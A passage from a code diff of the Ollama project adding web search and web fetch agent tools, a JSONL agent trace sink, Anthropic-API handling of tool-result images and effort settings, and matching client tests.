if err := os.WriteFile(filepath.Join(skillDir, skills.SkillFile), []byte("---\nname: go-code\ndescription: Write Go code.\n---\n\n# Go Code\n"), 0o644); err != nil {
t.Fatal(err)
}
catalog, err := skills.Load(dir)
if err != nil {
t.Fatal(err)
}
result, err := NewSkill(catalog).Execute(context.Background(), agent.ToolContext{}, map[string]any{"name": "go-code"})
if err != nil {
t.Fatal(err)
}
if !strings.Contains(result.Content, "Loaded skill: go-code") || !strings.Contains(result.Content, "# Go Code") {
t.Fatalf("content = %q", result.Content)
}
}
func TestManualSkillMessagesUseToolCallShape(t *testing.T) {
dir := t.TempDir()
skillDir := filepath.Join(dir, "go-code")
if err := os.MkdirAll(skillDir, 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(skillDir, skills.SkillFile), []byte("---\nname: go-code\ndescription: Write Go code.\n---\n\n# Go Code\n"), 0o644); err != nil {
t.Fatal(err)
}
catalog, err := skills.Load(dir)
if err != nil {
t.Fatal(err)
}
skill, ok := catalog.Find("go-code")
if !ok {
t.Fatal("skill not found")
}
messages, err := ManualSkillMessages(skill, "write a test", 7)
if err != nil {
t.Fatal(err)
}
if len(messages) != 3 {
t.Fatalf("messages = %d, want 3", len(messages))
}
if messages[0].Role != "user" || messages[0].Content != "write a test" {
t.Fatalf("user message = %#v", messages[0])
}
if messages[1].Role != "assistant" || len(messages[1].ToolCalls) != 1 {
t.Fatalf("assistant tool call = %#v", messages[1])
}
call := messages[1].ToolCalls[0]
if call.ID != "manual-skill-7-go-code" || call.Function.Name != "skill" {
t.Fatalf("tool call = %#v", call)
}
if name, _ := call.Function.Arguments.Get("name"); name != "go-code" {
t.Fatalf("tool args = %s", call.Function.Arguments.String())
}
if messages[2].Role != "tool" || messages[2].ToolName != "skill" || messages[2].ToolCallID != call.ID {
t.Fatalf("tool result metadata = %#v", messages[2])
}
if !strings.Contains(messages[2].Content, "Loaded skill: go-code") || !strings.Contains(messages[2].Content, "# Go Code") {
t.Fatalf("tool result = %q", messages[2].Content)
}
}
+184
View File
@@ -0,0 +1,184 @@
package tools
import (
"context"
"errors"
"fmt"
"net/url"
"strings"
"github.com/ollama/ollama/agent"
"github.com/ollama/ollama/api"
internalcloud "github.com/ollama/ollama/internal/cloud"
)
var (
ErrWebSearchAuthRequired = errors.New("web search requires authentication")
ErrWebFetchAuthRequired = errors.New("web fetch requires authentication")
)
const maxWebFetchContentRunes = 60_000
type WebSearch struct{}
func NewWebSearch() *WebSearch {
return &WebSearch{}
}
func (w *WebSearch) Name() string {
return "web_search"
}
func (w *WebSearch) Description() string {
return "Search the web for current information that may not be in the model's training data."
}
func (w *WebSearch) Schema() api.ToolFunction {
props := api.NewToolPropertiesMap()
props.Set("query", api.ToolProperty{
Type: api.PropertyType{"string"},
Description: "The search query to look up on the web.",
})
return api.ToolFunction{
Name: w.Name(),
Description: w.Description(),
Parameters: api.ToolFunctionParameters{
Type: "object",
Properties: props,
Required: []string{"query"},
},
}
}
func (w *WebSearch) Execute(ctx context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
if internalcloud.Disabled() {
return agent.ToolResult{}, errors.New(internalcloud.DisabledError("web search is unavailable"))
}
query, ok := args["query"].(string)
if !ok || strings.TrimSpace(query) == "" {
return agent.ToolResult{}, fmt.Errorf("query parameter is required")
}
client, err := api.ClientFromEnvironment()
if err != nil {
return agent.ToolResult{}, err
}
searchResp, err := client.WebSearchExperimental(ctx, &api.WebSearchRequest{Query: query, MaxResults: 5})
if err != nil {
var authErr api.AuthorizationError
if errors.As(err, &authErr) {
return agent.ToolResult{}, ErrWebSearchAuthRequired
}
return agent.ToolResult{}, err
}
if len(searchResp.Results) == 0 {
return agent.ToolResult{Content: "No results found for query: " + query}, nil
}
var sb strings.Builder
sb.WriteString(fmt.Sprintf("Search results for: %s\n\n", query))
for i, result := range searchResp.Results {
sb.WriteString(fmt.Sprintf("%d. %s\n", i+1, result.Title))
sb.WriteString(fmt.Sprintf(" URL: %s\n", result.URL))
if result.Content != "" {
content := []rune(result.Content)
if len(content) > 300 {
content = append(content[:300], []rune("...")...)
}
sb.WriteString(fmt.Sprintf(" %s\n", string(content)))
}
sb.WriteByte('\n')
}
return agent.ToolResult{Content: sb.String()}, nil
}
type WebFetch struct{}
func NewWebFetch() *WebFetch {
return &WebFetch{}
}
func (w *WebFetch) Name() string {
return "web_fetch"
}
func (w *WebFetch) Description() string {
return "Fetch and extract text content from a web page."
}
func (w *WebFetch) Schema() api.ToolFunction {
props := api.NewToolPropertiesMap()
props.Set("url", api.ToolProperty{
Type: api.PropertyType{"string"},
Description: "The URL to fetch and extract content from.",
})
return api.ToolFunction{
Name: w.Name(),
Description: w.Description(),
Parameters: api.ToolFunctionParameters{
Type: "object",
Properties: props,
Required: []string{"url"},
},
}
}
func (w *WebFetch) Execute(ctx context.Context, _ agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
if internalcloud.Disabled() {
return agent.ToolResult{}, errors.New(internalcloud.DisabledError("web fetch is unavailable"))
}
urlStr, ok := args["url"].(string)
if !ok || strings.TrimSpace(urlStr) == "" {
return agent.ToolResult{}, fmt.Errorf("url parameter is required")
}
if _, err := url.Parse(urlStr); err != nil {
return agent.ToolResult{}, fmt.Errorf("invalid URL: %w", err)
}
client, err := api.ClientFromEnvironment()
if err != nil {
return agent.ToolResult{}, err
}
fetchResp, err := client.WebFetchExperimental(ctx, &api.WebFetchRequest{URL: urlStr})
if err != nil {
var authErr api.AuthorizationError
if errors.As(err, &authErr) {
return agent.ToolResult{}, ErrWebFetchAuthRequired
}
return agent.ToolResult{}, err
}
var sb strings.Builder
if fetchResp.Title != "" {
sb.WriteString(fmt.Sprintf("Title: %s\n\n", fetchResp.Title))
}
if fetchResp.Content != "" {
sb.WriteString("Content:\n")
sb.WriteString(truncateWebFetchContent(fetchResp.Content))
} else {
sb.WriteString("No content could be extracted from the page.")
}
return agent.ToolResult{Content: sb.String()}, nil
}
func truncateWebFetchContent(content string) string {
runes := []rune(content)
if len(runes) <= maxWebFetchContentRunes {
return content
}
omitted := len(runes) - maxWebFetchContentRunes
return string(runes[:maxWebFetchContentRunes]) + fmt.Sprintf(
"\n\n[tool output truncated: showing first ~%d tokens; omitted ~%d tokens. Use a narrower request or search query if more detail is needed.]",
approximateToolTokensFromRunes(maxWebFetchContentRunes),
approximateToolTokensFromRunes(omitted),
)
}
func approximateToolTokensFromRunes(n int) int {
if n <= 0 {
return 0
}
return max(1, (n+3)/4)
}
+59
View File
@@ -0,0 +1,59 @@
package tools
import (
"encoding/json"
"net/http"
"net/http/httptest"
"strings"
"testing"
coreagent "github.com/ollama/ollama/agent"
"github.com/ollama/ollama/api"
)
func TestWebToolsDoNotRequireApproval(t *testing.T) {
if coreagent.ToolRequiresApproval(NewWebSearch(), map[string]any{"query": "ollama"}) {
t.Fatal("web search should not require approval")
}
if coreagent.ToolRequiresApproval(NewWebFetch(), map[string]any{"url": "https://ollama.com"}) {
t.Fatal("web fetch should not require approval")
}
}
func TestWebFetchBoundsContentBeforeReturning(t *testing.T) {
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/api/experimental/web_fetch" {
t.Fatalf("path = %q, want /api/experimental/web_fetch", r.URL.Path)
}
var req api.WebFetchRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
t.Fatal(err)
}
if req.URL != "https://ollama.com" {
t.Fatalf("request URL = %q, want https://ollama.com", req.URL)
}
if err := json.NewEncoder(w).Encode(api.WebFetchResponse{
Title: "Ollama",
Content: strings.Repeat("x", maxWebFetchContentRunes+25),
}); err != nil {
t.Fatal(err)
}
}))
defer ts.Close()
t.Setenv("OLLAMA_HOST", ts.URL)
result, err := NewWebFetch().Execute(t.Context(), coreagent.ToolContext{}, map[string]any{
"url": "https://ollama.com",
})
if err != nil {
t.Fatal(err)
}
if !strings.Contains(result.Content, "[tool output truncated: showing first ~") ||
!strings.Contains(result.Content, "omitted ~7 tokens") ||
!strings.Contains(result.Content, "Use a narrower request or search query") {
t.Fatalf("content missing truncation marker: %q", result.Content)
}
if count := strings.Count(result.Content, "x"); count != maxWebFetchContentRunes {
t.Fatalf("captured content count = %d, want %d", count, maxWebFetchContentRunes)
}
}
+228
View File
@@ -0,0 +1,228 @@
package agent
import (
"encoding/json"
"os"
"path/filepath"
"sort"
"strings"
"sync"
"time"
"unicode/utf8"
)
const agentTraceEnv = "OLLAMA_AGENT_TRACE"
type MultiEventSink []EventSink
func (s MultiEventSink) Emit(event Event) error {
var firstErr error
for _, sink := range s {
if sink == nil {
continue
}
if err := sink.Emit(event); err != nil {
if firstErr == nil {
firstErr = err
}
}
}
return firstErr
}
type JSONLTraceSink struct {
mu sync.Mutex
file *os.File
}
func NewJSONLTraceSinkFromEnv() (*JSONLTraceSink, error) {
path := strings.TrimSpace(os.Getenv(agentTraceEnv))
if path == "" {
return nil, nil
}
return NewJSONLTraceSink(path)
}
func NewJSONLTraceSink(path string) (*JSONLTraceSink, error) {
path = strings.TrimSpace(path)
if path == "" {
return nil, nil
}
if dir := filepath.Dir(path); dir != "." && dir != "" {
if err := os.MkdirAll(dir, 0o755); err != nil {
return nil, err
}
}
file, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0o644)
if err != nil {
return nil, err
}
return &JSONLTraceSink{file: file}, nil
}
func (s *JSONLTraceSink) Close() error {
if s == nil || s.file == nil {
return nil
}
return s.file.Close()
}
func (s *JSONLTraceSink) Emit(event Event) error {
if s == nil || s.file == nil {
return nil
}
record := traceRecordFromEvent(event)
data, err := json.Marshal(record)
if err != nil {
return err
}
s.mu.Lock()
defer s.mu.Unlock()
_, err = s.file.Write(append(data, '\n'))
return err
}
type traceRecord struct {
Time time.Time `json:"time"`
Type EventType `json:"type"`
RunID string `json:"run_id,omitempty"`
ChatID string `json:"chat_id,omitempty"`
Model string `json:"model,omitempty"`
Status string `json:"status,omitempty"`
ToolName string `json:"tool_name,omitempty"`
ToolCallID string `json:"tool_call_id,omitempty"`
WorkingDir string `json:"working_dir,omitempty"`
Args map[string]string `json:"args,omitempty"`
PromptTokens int `json:"prompt_tokens,omitempty"`
ContextWindowTokens int `json:"context_window_tokens,omitempty"`
CompactionThresholdTokens int `json:"compaction_threshold_tokens,omitempty"`
MessageCount int `json:"message_count,omitempty"`
UserMessageCount int `json:"user_message_count,omitempty"`
AssistantMessageCount int `json:"assistant_message_count,omitempty"`
ToolMessageCount int `json:"tool_message_count,omitempty"`
SystemMessageCount int `json:"system_message_count,omitempty"`
ToolCallCount int `json:"tool_call_count,omitempty"`
ToolCount int `json:"tool_count,omitempty"`
ToolNames []string `json:"tool_names,omitempty"`
ToolRound int `json:"tool_round,omitempty"`
ToolRoundLimit int `json:"tool_round_limit,omitempty"`
ContentApproxTokens int `json:"content_approx_tokens,omitempty"`
ContentRunes int `json:"content_runes,omitempty"`
ThinkingApproxTokens int `json:"thinking_approx_tokens,omitempty"`
ThinkingRunes int `json:"thinking_runes,omitempty"`
Response *traceMetrics `json:"response,omitempty"`
Error string `json:"error,omitempty"`
}
type traceMetrics struct {
TotalDurationMS float64 `json:"total_duration_ms,omitempty"`
LoadDurationMS float64 `json:"load_duration_ms,omitempty"`
PromptEvalCount int `json:"prompt_eval_count,omitempty"`
PromptEvalDurationMS float64 `json:"prompt_eval_duration_ms,omitempty"`
EvalCount int `json:"eval_count,omitempty"`
EvalDurationMS float64 `json:"eval_duration_ms,omitempty"`
PromptEvalRate float64 `json:"prompt_eval_rate,omitempty"`
EvalRate float64 `json:"eval_rate,omitempty"`
}
func traceRecordFromEvent(event Event) traceRecord {
record := traceRecord{
Time: time.Now(),
Type: event.Type,
RunID: event.RunID,
ChatID: event.ChatID,
Model: event.Model,
Status: event.Status,
ToolName: event.ToolName,
ToolCallID: event.ToolCallID,
WorkingDir: event.WorkingDir,
Args: traceArgs(event.Args),
PromptTokens: event.PromptTokens,
ContextWindowTokens: event.ContextWindowTokens,
CompactionThresholdTokens: event.CompactionThresholdTokens,
MessageCount: event.MessageCount,
UserMessageCount: event.UserMessageCount,
AssistantMessageCount: event.AssistantMessageCount,
ToolMessageCount: event.ToolMessageCount,
SystemMessageCount: event.SystemMessageCount,
ToolCallCount: event.ToolCallCount,
ToolCount: event.ToolCount,
ToolNames: event.ToolNames,
ToolRound: event.ToolRound,
ToolRoundLimit: event.ToolRoundLimit,
ContentRunes: utf8.RuneCountInString(event.Content),
ThinkingRunes: utf8.RuneCountInString(event.Thinking),
Error: event.Error,
}
if event.Content != "" {
record.ContentApproxTokens = estimateCompactionTokens(event.Content)
}
if event.Thinking != "" {
record.ThinkingApproxTokens = estimateCompactionTokens(event.Thinking)
}
if event.Response != nil {
metrics := event.Response.Metrics
record.Response = &traceMetrics{
TotalDurationMS: durationMS(metrics.TotalDuration),
LoadDurationMS: durationMS(metrics.LoadDuration),
PromptEvalCount: metrics.PromptEvalCount,
PromptEvalDurationMS: durationMS(metrics.PromptEvalDuration),
EvalCount: metrics.EvalCount,
EvalDurationMS: durationMS(metrics.EvalDuration),
}
if metrics.PromptEvalCount > 0 && metrics.PromptEvalDuration > 0 {
record.Response.PromptEvalRate = float64(metrics.PromptEvalCount) / metrics.PromptEvalDuration.Seconds()
}
if metrics.EvalCount > 0 && metrics.EvalDuration > 0 {
record.Response.EvalRate = float64(metrics.EvalCount) / metrics.EvalDuration.Seconds()
}
}
return record
}
func durationMS(d time.Duration) float64 {
if d <= 0 {
return 0
}
return float64(d) / float64(time.Millisecond)
}
func traceArgs(args map[string]any) map[string]string {
if len(args) == 0 {
return nil
}
keys := make([]string, 0, len(args))
for key := range args {
keys = append(keys, key)
}
sort.Strings(keys)
out := make(map[string]string, len(keys))
for _, key := range keys {
out[key] = traceString(args[key])
}
return out
}
func traceString(value any) string {
data, err := json.Marshal(value)
if err != nil {
data = []byte(strings.TrimSpace(strings.ReplaceAll(strings.ReplaceAll(strings.TrimSpace(toString(value)), "\n", " "), "\t", " ")))
}
text := strings.TrimSpace(string(data))
runes := []rune(text)
if len(runes) > 240 {
return string(runes[:240]) + "..."
}
return text
}
func toString(value any) string {
if value == nil {
return ""
}
if text, ok := value.(string); ok {
return text
}
data, _ := json.Marshal(value)
return string(data)
}
+106 -28
View File
@@ -78,6 +78,11 @@ type MessagesRequest struct {
ToolChoice *ToolChoice `json:"tool_choice,omitempty"`
Thinking *ThinkingConfig `json:"thinking,omitempty"`
Metadata *Metadata `json:"metadata,omitempty"`
OutputConfig *OutputConfig `json:"output_config,omitempty"`
}
type OutputConfig struct {
Effort string `json:"effort,omitempty"`
}
// MessageParam represents a message in the request
@@ -161,7 +166,7 @@ type WebSearchToolResultError struct {
// ImageSource represents the source of an image
type ImageSource struct {
Type string `json:"type"` // "base64" or "url"
Type string `json:"type"` // "base64"
MediaType string `json:"media_type,omitempty"`
Data string `json:"data,omitempty"`
URL string `json:"url,omitempty"`
@@ -373,9 +378,26 @@ func FromMessagesRequest(r MessagesRequest) (*api.ChatRequest, error) {
}
var think *api.ThinkValue
normalizedEffort := ""
if r.OutputConfig != nil {
normalizedEffort = strings.ToLower(strings.TrimSpace(r.OutputConfig.Effort))
if normalizedEffort == "xhigh" {
normalizedEffort = "high"
}
}
if r.Thinking != nil && r.Thinking.Type == "enabled" {
think = &api.ThinkValue{Value: true}
}
if r.Thinking != nil && r.Thinking.Type == "disabled" {
think = &api.ThinkValue{Value: false}
}
if think == nil && r.OutputConfig != nil {
switch normalizedEffort {
case "high", "medium", "low", "max":
think = &api.ThinkValue{Value: normalizedEffort}
}
}
stream := r.Stream
convertedRequest := &api.ChatRequest{
@@ -425,17 +447,12 @@ func convertMessage(msg MessageParam) ([]api.Message, error) {
return nil, errors.New("invalid image source")
}
if block.Source.Type == "base64" {
decoded, err := base64.StdEncoding.DecodeString(block.Source.Data)
if err != nil {
logutil.Trace("anthropic: invalid base64 image data", "role", role, "error", err)
return nil, fmt.Errorf("invalid base64 image data: %w", err)
}
images = append(images, decoded)
} else {
logutil.Trace("anthropic: unsupported image source type", "role", role, "source_type", block.Source.Type)
return nil, fmt.Errorf("invalid image source type: %s. Only base64 images are supported.", block.Source.Type)
decoded, err := resolveImageSource(block.Source)
if err != nil {
logutil.Trace("anthropic: unsupported image source", "role", role, "source_type", block.Source.Type, "error", err)
return nil, err
}
images = append(images, decoded)
case "tool_use":
toolUseBlocks++
@@ -457,26 +474,16 @@ func convertMessage(msg MessageParam) ([]api.Message, error) {
case "tool_result":
toolResultBlocks++
var resultContent string
switch c := block.Content.(type) {
case string:
resultContent = c
case []any:
for _, cb := range c {
if cbMap, ok := cb.(map[string]any); ok {
if cbMap["type"] == "text" {
if text, ok := cbMap["text"].(string); ok {
resultContent += text
}
}
}
}
resultContent, resultImages, err := convertToolResultContent(block.Content)
if err != nil {
logutil.Trace("anthropic: invalid tool_result content", "role", role, "error", err)
return nil, err
}
toolResults = append(toolResults, api.Message{
Role: "tool",
Content: resultContent,
Images: resultImages,
ToolCallID: block.ToolUseID,
})
@@ -508,6 +515,10 @@ func convertMessage(msg MessageParam) ([]api.Message, error) {
}
}
if role == "user" && len(toolResults) > 0 {
messages = append(messages, toolResults...)
}
if textContent.Len() > 0 || len(images) > 0 || len(toolCalls) > 0 || thinking != "" {
m := api.Message{
Role: role,
@@ -519,8 +530,10 @@ func convertMessage(msg MessageParam) ([]api.Message, error) {
messages = append(messages, m)
}
// Add tool results as separate messages
messages = append(messages, toolResults...)
// Add tool results as separate messages.
if role != "user" || len(toolResults) == 0 {
messages = append(messages, toolResults...)
}
logutil.Trace("anthropic: converted block message",
"role", role,
"blocks", len(msg.Content),
@@ -969,6 +982,71 @@ func GenerateMessageID() string {
return generateID("msg")
}
func resolveImageSource(source *ImageSource) (api.ImageData, error) {
if source.Type != "base64" {
return nil, fmt.Errorf("invalid image source type: %s. Only base64 images are supported.", source.Type)
}
decoded, err := base64.StdEncoding.DecodeString(source.Data)
if err != nil {
return nil, fmt.Errorf("invalid base64 image data: %w", err)
}
return decoded, nil
}
func convertToolResultContent(content any) (string, []api.ImageData, error) {
switch c := content.(type) {
case nil:
return "", nil, nil
case string:
return c, nil, nil
case []any:
var text strings.Builder
var images []api.ImageData
for _, cb := range c {
cbMap, ok := cb.(map[string]any)
if !ok {
continue
}
switch cbMap["type"] {
case "text":
if t, ok := cbMap["text"].(string); ok {
text.WriteString(t)
}
case "image":
rawSource, ok := cbMap["source"].(map[string]any)
if !ok {
return "", nil, errors.New("invalid tool_result image source")
}
var source ImageSource
if rawType, ok := rawSource["type"].(string); ok {
source.Type = rawType
}
if rawMediaType, ok := rawSource["media_type"].(string); ok {
source.MediaType = rawMediaType
}
if rawData, ok := rawSource["data"].(string); ok {
source.Data = rawData
}
img, err := resolveImageSource(&source)
if err != nil {
return "", nil, err
}
images = append(images, img)
}
}
return text.String(), images, nil
default:
return "", nil, nil
}
}
// ptr returns a pointer to the given string value
func ptr(s string) *string {
return &s
+235
View File
@@ -271,6 +271,241 @@ func TestFromMessagesRequest_WithToolResult(t *testing.T) {
}
}
func TestFromMessagesRequest_WithToolResultImage(t *testing.T) {
imgData, _ := base64.StdEncoding.DecodeString(testImage)
req := MessagesRequest{
Model: "test-model",
MaxTokens: 1024,
Messages: []MessageParam{
{
Role: "user",
Content: []ContentBlock{
{
Type: "tool_result",
ToolUseID: "call_img",
Content: []any{
map[string]any{"type": "text", "text": "Attached image"},
map[string]any{
"type": "image",
"source": map[string]any{
"type": "base64",
"media_type": "image/png",
"data": testImage,
},
},
},
},
},
},
},
}
result, err := FromMessagesRequest(req)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if len(result.Messages) != 1 {
t.Fatalf("expected 1 message, got %d", len(result.Messages))
}
msg := result.Messages[0]
if msg.Role != "tool" {
t.Errorf("expected role 'tool', got %q", msg.Role)
}
if msg.ToolCallID != "call_img" {
t.Errorf("expected tool_call_id 'call_img', got %q", msg.ToolCallID)
}
if msg.Content != "Attached image" {
t.Errorf("unexpected content: %q", msg.Content)
}
if len(msg.Images) != 1 {
t.Fatalf("expected 1 image, got %d", len(msg.Images))
}
if string(msg.Images[0]) != string(imgData) {
t.Error("image data mismatch")
}
}
func TestFromMessagesRequest_WithToolResultFollowedByUserText(t *testing.T) {
req := MessagesRequest{
Model: "test-model",
MaxTokens: 1024,
Messages: []MessageParam{
{
Role: "assistant",
Content: []ContentBlock{
{
Type: "tool_use",
ID: "call_read",
Name: "Read",
Input: makeArgs("file_path", "/Users/hoyyeva/Desktop/aaa.png"),
},
},
},
{
Role: "user",
Content: []ContentBlock{
{
Type: "tool_result",
ToolUseID: "call_read",
Content: "Read image (311.5KB)",
},
{
Type: "text",
Text: ptr("Please describe it."),
},
},
},
},
}
result, err := FromMessagesRequest(req)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if len(result.Messages) != 3 {
t.Fatalf("expected 3 messages, got %d", len(result.Messages))
}
if result.Messages[1].Role != "tool" {
t.Fatalf("expected second message to be tool, got %q", result.Messages[1].Role)
}
if result.Messages[1].ToolCallID != "call_read" {
t.Fatalf("expected tool_call_id 'call_read', got %q", result.Messages[1].ToolCallID)
}
if result.Messages[2].Role != "user" {
t.Fatalf("expected third message to be user, got %q", result.Messages[2].Role)
}
if result.Messages[2].Content != "Please describe it." {
t.Fatalf("unexpected user content: %q", result.Messages[2].Content)
}
}
func TestFromMessagesRequest_WithOutputConfigEffort(t *testing.T) {
req := MessagesRequest{
Model: "gemma4",
MaxTokens: 32000,
Messages: []MessageParam{
{
Role: "user",
Content: textContent("Describe the image."),
},
},
OutputConfig: &OutputConfig{
Effort: "high",
},
}
result, err := FromMessagesRequest(req)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result.Think == nil {
t.Fatal("expected think to be set from output_config.effort")
}
if got := result.Think.String(); got != "high" {
t.Fatalf("expected think level 'high', got %q", got)
}
}
func TestFromMessagesRequest_WithOutputConfigEffortXHighMapsToHigh(t *testing.T) {
req := MessagesRequest{
Model: "gemma4",
MaxTokens: 32000,
Messages: []MessageParam{
{
Role: "user",
Content: textContent("Describe the image."),
},
},
OutputConfig: &OutputConfig{
Effort: "xhigh",
},
}
result, err := FromMessagesRequest(req)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result.Think == nil {
t.Fatal("expected think to be set from output_config.effort")
}
if got := result.Think.String(); got != "high" {
t.Fatalf("expected think level 'high' for xhigh effort, got %q", got)
}
}
func TestFromMessagesRequest_ThinkingDisabledOverridesOutputConfigEffort(t *testing.T) {
req := MessagesRequest{
Model: "gemma4",
MaxTokens: 32000,
Messages: []MessageParam{
{
Role: "user",
Content: textContent("Describe the image."),
},
},
Thinking: &ThinkingConfig{
Type: "disabled",
},
OutputConfig: &OutputConfig{
Effort: "high",
},
}
result, err := FromMessagesRequest(req)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result.Think == nil {
t.Fatal("expected think to be set")
}
if got := result.Think.Value; got != false {
t.Fatalf("expected think=false when thinking is disabled, got %v", got)
}
}
func TestFromMessagesRequest_ThinkingAdaptiveUsesOutputConfigEffort(t *testing.T) {
req := MessagesRequest{
Model: "gemma4",
MaxTokens: 32000,
Messages: []MessageParam{
{
Role: "user",
Content: textContent("Describe the image."),
},
},
Thinking: &ThinkingConfig{
Type: "adaptive",
},
OutputConfig: &OutputConfig{
Effort: "high",
},
}
result, err := FromMessagesRequest(req)
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
if result.Think == nil {
t.Fatal("expected think to be set from output_config.effort")
}
if got := result.Think.String(); got != "high" {
t.Fatalf("expected think level 'high' for adaptive thinking, got %q", got)
}
}
func TestFromMessagesRequest_WithTools(t *testing.T) {
req := MessagesRequest{
Model: "test-model",
+34
View File
@@ -259,6 +259,10 @@ func (c *Client) stream(ctx context.Context, method, path string, data any, fn f
}
}
if err := scanner.Err(); err != nil {
return err
}
return nil
}
@@ -368,6 +372,16 @@ func (c *Client) List(ctx context.Context) (*ListResponse, error) {
return &lr, nil
}
// ModelRecommendationsExperimental lists model recommendations from the local
// server's experimental recommendations endpoint.
func (c *Client) ModelRecommendationsExperimental(ctx context.Context) (*ModelRecommendationsResponse, error) {
var resp ModelRecommendationsResponse
if err := c.do(ctx, http.MethodGet, "/api/experimental/model-recommendations", nil, &resp); err != nil {
return nil, err
}
return &resp, nil
}
// ListRunning lists running models.
func (c *Client) ListRunning(ctx context.Context) (*ProcessResponse, error) {
var lr ProcessResponse
@@ -459,6 +473,26 @@ func (c *Client) CloudStatusExperimental(ctx context.Context) (*StatusResponse,
return &status, nil
}
// WebSearchExperimental searches the web through the local server's
// experimental web search endpoint.
func (c *Client) WebSearchExperimental(ctx context.Context, req *WebSearchRequest) (*WebSearchResponse, error) {
var resp WebSearchResponse
if err := c.do(ctx, http.MethodPost, "/api/experimental/web_search", req, &resp); err != nil {
return nil, err
}
return &resp, nil
}
// WebFetchExperimental fetches web page content through the local server's
// experimental web fetch endpoint.
func (c *Client) WebFetchExperimental(ctx context.Context, req *WebFetchRequest) (*WebFetchResponse, error) {
var resp WebFetchResponse
if err := c.do(ctx, http.MethodPost, "/api/experimental/web_fetch", req, &resp); err != nil {
return nil, err
}
return &resp, nil
}
// Signout will signout a client for a local ollama server.
func (c *Client) Signout(ctx context.Context) error {
return c.do(ctx, http.MethodPost, "/api/signout", nil, nil)
+126
View File
@@ -3,6 +3,7 @@ package api
import (
"encoding/json"
"fmt"
"io"
"net/http"
"net/http/httptest"
"net/url"
@@ -192,6 +193,35 @@ func TestClientStream(t *testing.T) {
}
}
func TestClientStreamReportsReadErrors(t *testing.T) {
client := NewClient(
&url.URL{Scheme: "http", Host: "example.com"},
&http.Client{Transport: roundTripFunc(func(*http.Request) (*http.Response, error) {
body := failingReader{
data: []byte(`{"message":{"content":"partial"}}` + "\n"),
err: io.ErrUnexpectedEOF,
}
return &http.Response{
StatusCode: http.StatusOK,
Status: "200 OK",
Body: io.NopCloser(&body),
Header: make(http.Header),
}, nil
})},
)
err := client.stream(t.Context(), http.MethodPost, "/api/chat", nil, func([]byte) error {
return nil
})
if err == nil {
t.Fatal("expected stream read error")
}
if !strings.Contains(err.Error(), io.ErrUnexpectedEOF.Error()) {
t.Fatalf("expected unexpected EOF, got %v", err)
}
}
func TestClientDo(t *testing.T) {
testCases := []struct {
name string
@@ -320,3 +350,99 @@ func TestClientDo(t *testing.T) {
})
}
}
func TestClientWebSearchExperimentalUsesLocalRoute(t *testing.T) {
var gotPath string
var gotMethod string
var gotRequest WebSearchRequest
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
gotPath = r.URL.Path
gotMethod = r.Method
if err := json.NewDecoder(r.Body).Decode(&gotRequest); err != nil {
t.Fatal(err)
}
if err := json.NewEncoder(w).Encode(WebSearchResponse{
Results: []WebSearchResult{{Title: "Ollama", URL: "https://ollama.com", Content: "models"}},
}); err != nil {
t.Fatal(err)
}
}))
defer ts.Close()
client := NewClient(&url.URL{Scheme: "http", Host: ts.Listener.Addr().String()}, http.DefaultClient)
resp, err := client.WebSearchExperimental(t.Context(), &WebSearchRequest{Query: "ollama", MaxResults: 3})
if err != nil {
t.Fatal(err)
}
if gotMethod != http.MethodPost {
t.Fatalf("method = %q, want POST", gotMethod)
}
if gotPath != "/api/experimental/web_search" {
t.Fatalf("path = %q, want /api/experimental/web_search", gotPath)
}
if gotRequest.Query != "ollama" || gotRequest.MaxResults != 3 {
t.Fatalf("request = %#v", gotRequest)
}
if len(resp.Results) != 1 || resp.Results[0].Title != "Ollama" {
t.Fatalf("response = %#v", resp)
}
}
func TestClientWebFetchExperimentalUsesLocalRoute(t *testing.T) {
var gotPath string
var gotMethod string
var gotRequest WebFetchRequest
ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
gotPath = r.URL.Path
gotMethod = r.Method
if err := json.NewDecoder(r.Body).Decode(&gotRequest); err != nil {
t.Fatal(err)
}
if err := json.NewEncoder(w).Encode(WebFetchResponse{
Title: "Ollama",
Content: "models",
Links: []string{"https://ollama.com/library"},
}); err != nil {
t.Fatal(err)
}
}))
defer ts.Close()
client := NewClient(&url.URL{Scheme: "http", Host: ts.Listener.Addr().String()}, http.DefaultClient)
resp, err := client.WebFetchExperimental(t.Context(), &WebFetchRequest{URL: "https://ollama.com"})
if err != nil {
t.Fatal(err)
}
if gotMethod != http.MethodPost {
t.Fatalf("method = %q, want POST", gotMethod)
}
if gotPath != "/api/experimental/web_fetch" {
t.Fatalf("path = %q, want /api/experimental/web_fetch", gotPath)
}
if gotRequest.URL != "https://ollama.com" {
t.Fatalf("request = %#v", gotRequest)
}
if resp.Title != "Ollama" || resp.Content != "models" {
t.Fatalf("response = %#v", resp)
}
}
type roundTripFunc func(*http.Request) (*http.Response, error)
func (f roundTripFunc) RoundTrip(req *http.Request) (*http.Response, error) {
return f(req)
}
type failingReader struct {
data []byte
err error
}
func (r *failingReader) Read(p []byte) (int, error) {
if len(r.data) > 0 {
n := copy(p, r.data)
r.data = r.data[n:]
return n, nil
}
return 0, r.err
}
+105 -32
View File
@@ -600,12 +600,13 @@ type Options struct {
// Runner options which must be set when the model is loaded into memory
type Runner struct {
NumCtx int `json:"num_ctx,omitempty"`
NumBatch int `json:"num_batch,omitempty"`
NumGPU int `json:"num_gpu,omitempty"`
MainGPU int `json:"main_gpu,omitempty"`
UseMMap *bool `json:"use_mmap,omitempty"`
NumThread int `json:"num_thread,omitempty"`
NumCtx int `json:"num_ctx,omitempty"`
NumBatch int `json:"num_batch,omitempty"`
NumGPU int `json:"num_gpu,omitempty"`
MainGPU *int `json:"main_gpu,omitempty"`
